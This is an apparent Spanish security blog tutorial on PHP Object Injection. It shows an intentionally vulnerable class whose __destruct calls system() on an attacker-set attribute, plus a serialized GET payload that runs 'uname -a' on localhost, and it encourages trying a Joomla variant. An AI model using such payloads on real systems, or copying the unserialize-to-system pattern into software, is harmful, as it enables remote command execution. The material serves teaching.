lunes, 13 de mayo de 2013

Tutorial de PHP Object Injection

Buenas, este es mi primer articulo desde que me uní al Team hace algunos meses.

Para lo que no me conocen, mi nick es Yoyahack - ~Yoya~. Desde hace algunos años me dedico a la programación  iniciándome por Perl, luego dedicándome a PHP cerca de 2 años y de momento como programador Java. En el próximo mes comienzo a trabajar como programador de Java EE (Java Enterprise Edition). También me gusta la seguridad nivel web, como a @TheXC3LL jejeje :P


¿Que es PHP Object Injection?


PHP Object Injection, es una vulnerabilidad que consiste en insertar un objeto serializado, que luego al convertir este en su estado original (utilizando unserialize()), se ejecuta el objeto serializado que le pasamos a la aplicacion

Pero para que se de la vulnerabilidad, debe cumplir con estos requisitos.
  • Que la clase a la que pertenece el objeto, este incluida, de lo contrario daría un error, porque se estaria instanciando una clase que no existe.
  • Que la clase que instancia el objeto, contenga un método que se lancen automáticamente al hacer la instancia de la clase. Métodos como el constructor, destructor, etc... Y que dentro esos métodos  se encuentre el código vulnerable.
  • Que los Atributos de la clase que se instancia, sean utilizadas en los métodos que se ejecutan automáticamente (llamados Metodos Magicos).

¿Porque se produce la vulnerabilidad?



La vulnerabilidad se produce, porque no se ha limpiado el valor que se le pasara a la función unserialize(). Cuando me refiero a limpiar, es verificar (o limpiar) que el valor este limpio de código que pueda alterar el funcionamiento.

Información adicional:


  • La serializacion de  un objeto, consiste convertir un objeto a una cadena de texto (String), esta cadena contiene una representación de la clase y sus propiedades.
  • Métodos Mágicos, son métodos que se lanzan automáticamente, como el constructor.
  • Un Objeto, es una instancia de una clase
  • Los Atributos de un objeto o variables miembros, son variables  que pertenecen a la clase y por lo tanto se pueden usar en toda la clase.

Algo a tener muy en cuenta, como pasa en toda vulnerabilidad. Para explotar una vulnerabilidad, es necesario que el sistema reciba y utilice información mandada por el usuario. Ya sea via GET, POST, utilizando una COOKIE, utilizando el User Agent, etc...

Llevando todo a la practica


Bueno, aquí un ejemplo de un código vulnerable:

  1. <?php
  2. class EjemploDePHPObjectInyection {
  3.         public $comando=null;
  4.         public function __destruct() {
  5.                 system($this->comando);
  6.         }
  7. }
  8. $ejemplo = unserialize($_GET['cod']);
  9. ?>



    En este caso, el código cumple con todo los requerimientos. La clase que se va a instanciar esta incluida en el archivo, la clase contiene un método que se lanza automáticamente, y contiene un atributo que se utiliza en el método que se lanza automáticamente.

    Para explotar la clase, lo que haremos mandar vía GET un objeto de la clase EjemploDePHPObjectInyection   
    serializado pero le seteamos un valor al atributo comando, que en mi caso seria un uname -a. En este caso utilizaremos el parámetro cod.

    Petición GET:  http://127.0.0.1/pruebas/objectInjection.php?cod=O:27:"EjemploDePHPObjectInyection":1:{s:7:"comando";s:8:"uname -a";}

    Salida:
    Linux 127.0.0.1 Fedora 3.8.11-200.fc18.x86_64 #1 SMP Wed May 1 19:44:27 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux 

    Y listo, ya puedo ejecutar comando del sistema jejeje.


    Dependiendo el contexto donde se de esta vulnerabilidad, puede dar cabida otras vulnerabilidades como SQL Inyeccion, Inyección de código PHP,  PHP command execution, etc...

    Hace menos de un mes, publicaron que Joomla era vulnerable a PHP Object Injection. Pueden probar explotarla, yo lo hize, me costo un poco ya que tuve que leerme algunos archivos php de joomla, es un poco complicado pero es una buena experiencia.

    Link

    Saludos!
    5 0verl0ad Labs: Tutorial de PHP Object Injection Buenas, este es mi primer articulo desde que me uní al Team hace algunos meses. Para lo que no me conocen, mi nick es Yoyahack - ~Yoya~. D...

    2 comentarios:

    Kinomakino dijo...

    Buen artículo. Por cierto, revisar el html5 e Iexplorer xD.
    function () { var html5 = ("abbr,article,aside,audio,canvas,datalist,details," + "figure,footer,header,hgroup,mark,menu,meter,nav,output," + "progress,section,time,video").split(','); for(var i = 0; i < html5.length; i++) { document.createElement(html5[i]); } try { document.execCommand('BackgroundImageCache', false, true); } catch(e) {} })();

    The X-C3LL dijo...

    Sí, ya nos comentó SeguridadJabalí que en IE había problemas de visualización. Cuando termine examenes le echaré un vistazo, por ahora estoy demasiado liado.

    < >